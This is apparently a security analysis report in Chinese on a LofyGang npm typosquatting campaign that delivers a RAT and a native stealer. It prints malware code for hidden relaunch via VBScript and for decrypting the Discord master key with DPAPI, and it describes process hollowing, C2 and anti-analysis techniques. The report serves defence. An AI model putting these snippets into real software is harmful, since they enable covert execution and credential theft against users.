你以為裝的是 undici?
1. 簡介
軟體供應鏈仍然是高階 threat actor 滲透開發者環境與終端使用者系統的主要途徑。近期調查發現一個高度演進的攻擊活動,由 LofyGang 集團所主導,他們利用 typosquat 的 npm 套件來發動雙承載(dual-payload)攻擊 [1] 。與先前主要聚焦於 JavaScript 為基礎的 credential 收集攻擊不同,此新型變種(Variant)包含一個原生的(Native) Windows 執行檔,能夠直接進行系統層級的操作。這份報告提供了攻擊架構、執行流程以及用於資料竊取和持續潛伏的底層機制的深入技術分析。
2. 攻擊架構與執行流程
攻擊始於發布一個惡意的 npm 套件,例如
undicy-http
,該套件模仿熱門的
undici
程式庫。套件的
package.json
揭露了一組用於低階系統存取和資料操作的相依套件,其中包括用於原生 FFI 呼叫的
koffi
,以及用於 Windows Data Protection API 解密的
@primno/dpapi
[1]
。
as Hidden Process] C -- Yes --> F[Initialize RAT
& Native Payload] F --> G[WebSocket C2 Connection] F --> H[Download/Execute
chromelevator.exe] G --> I[Remote Shell
/ Screen Stream] H --> J[Process Hollowing
via Syscalls] J --> K[Browser &
Wallet Data Theft]
3. 進入點技術分析
初始執行階段著重於隱匿與持續潛伏。惡意軟體利用 VBScript 封裝程式將自己重新啟動為無視窗程序,藉此繞過可能向使用者警示有作用中終端機視窗的簡易程序監控。
3.1 隱藏執行機制
下列程式碼片段展示了惡意軟體如何確保其在背景執行且不顯示可見的主控台視窗。它會檢查環境變數
_NYX_HIDDEN
以避免無限迴圈,並使用
wscript.exe
來執行動態產生的 VBScript。
- // Check if the process is already running in hidden mode
- if (!process.env._NYX_HIDDEN) {
- // Define the path for the temporary VBScript launcher
- const launchScript = path.join(os.tmpdir(), "_nyx_launch.vbs");
- // Construct the VBScript content
- // The '0' parameter in objShell.Run ensures the window is hidden
- const vbsContent = "Set objShell = CreateObject(\"WScript.Shell\")\r\n"
- + "Set objEnv = objShell.Environment(\"Process\")\r\n"
- + "objEnv(\"_NYX_HIDDEN\") = \"1\"\r\n"
- + "objShell.Run \"\"\"" + process.execPath + "\"\" " + args + "\", 0, False\r\n";
- // Write the script to the temporary directory
- fs.writeFileSync(launchScript, vbsContent);
- // Execute the VBScript using wscript.exe and exit the current process
- child_process.spawn("wscript.exe", [launchScript], { detached: true, stdio: "ignore" }).unref();
- process.exit(0);
- }
4. 雙承載策略
LofyGang 攻擊活動的特點在於平行執行使用 Node.js 的 Remote Access Trojan (RAT) 與一個原生 Windows 執行檔 (
chromelevator.exe
)。這種雙承載手法確保即使 JavaScript 層被偵測到,原生執行檔仍可能使用更高階的規避技術繼續運作
[1]
。
4.1 Node.js RAT 元件
此 RAT 會建立一個持續性的 WebSocket 連線到 Command and Control (C2) 伺服器。它支援多種指令,包括遠端 shell 執行、螢幕串流以及麥克風錄音。這種控制層級與其他利用 npm 的 RAT 中觀察到的模式一致,這些 RAT 常使用混淆技術來隱藏 C2 URL 與函式名稱 [2] 。
4.2 原生承載:chromelevator.exe
最進階的元件是
chromelevator.exe
執行檔。它透過
直接 syscall 進行 process hollowing
,這項技術可以繞過許多 EDR 和防毒軟體實作的使用者模式 hook。藉由手動設定記憶體並建立遠端執行緒,而不呼叫標準的
ntdll.dll
API,惡意軟體得以躲避傳統監控工具的偵測。
5. 資料竊取與外洩機制
LofyGang 攻擊活動的主要目標是竊取敏感資訊,特別鎖定 Discord Token、瀏覽器資料以及加密貨幣錢包。惡意軟體會掃描本機儲存空間與
leveldb
資料庫,尋找與 authentication Token 相關的特定模式
[1]
。
5.1 Discord Token 解密
現代的 Discord 安裝程式會使用受 Windows Data Protection API (DPAPI) 保護的 AES 主金鑰來加密 Token。惡意軟體會讀取
Local State
檔案,並使用
@primno/dpapi
程式庫來自動化解密流程。
- // Example logic for extracting and decrypting Discord tokens
- const localStatePath = path.join(discordPath, "Local State");
- const localState = JSON.parse(fs.readFileSync(localStatePath));
- // Extract the encrypted master key
- const encryptedKey = Buffer.from(localState.os_crypt.encrypted_key, "base64").slice(5);
- // Decrypt the master key using Windows DPAPI
- const masterKey = dpapi.unprotectData(encryptedKey, null, "CurrentUser");
- // Use the masterKey to decrypt tokens found in .ldb files via AES-256-GCM
- // (Decryption logic omitted for brevity)
5.2 目標資產
此惡意軟體鎖定超過 50 種瀏覽器與 90 種加密貨幣錢包擴充功能。這種廣泛的目標範圍是現代供應鏈攻擊的特徵,目的是透過收集盡可能多的 Credential 來最大化投資報酬率 [3] 。
| 目標類別 | 特定資產 | 外洩方法 |
|---|---|---|
| 瀏覽器 | Chrome, Edge, Brave, Opera, Firefox | SQLite3 (Cookies, 登入資訊) |
| 加密貨幣錢包 | MetaMask, Phantom, Coinbase, Binance | 本機儲存空間 / 擴充功能資料夾 |
| 通訊軟體 | Discord (Tokens, 帳單資訊, 好友名單) | API 資料擴充與 Webhooks |
6. 規避與反分析技術
為了延長其存活時間,惡意軟體實作了一個廣泛的
AntiVM
類別。它會檢查 MAC 位址、BIOS 序號,以及與分析工具(如 Wireshark、x64dbg 和 Ghidra)關聯的特定程序名稱
[1]
。此外,它還使用「假的 DLL 錯誤」訊息來欺騙使用者,讓使用者以為應用程式啟動失敗,而惡意軟體則繼續在背景中靜默執行。
7. 結論
LofyGang 攻擊活動標誌著 npm 供應鏈攻擊複雜度的顯著提升。透過將傳統的 typosquatting 與進階的原生執行檔注入以及多管道外洩相結合,此 threat actor 建立了一個用於大規模資料竊取的強固框架。開發人員必須保持警覺,驗證套件來源,並使用能夠偵測其 dependency tree 中異常行為的安全工具 [2] 。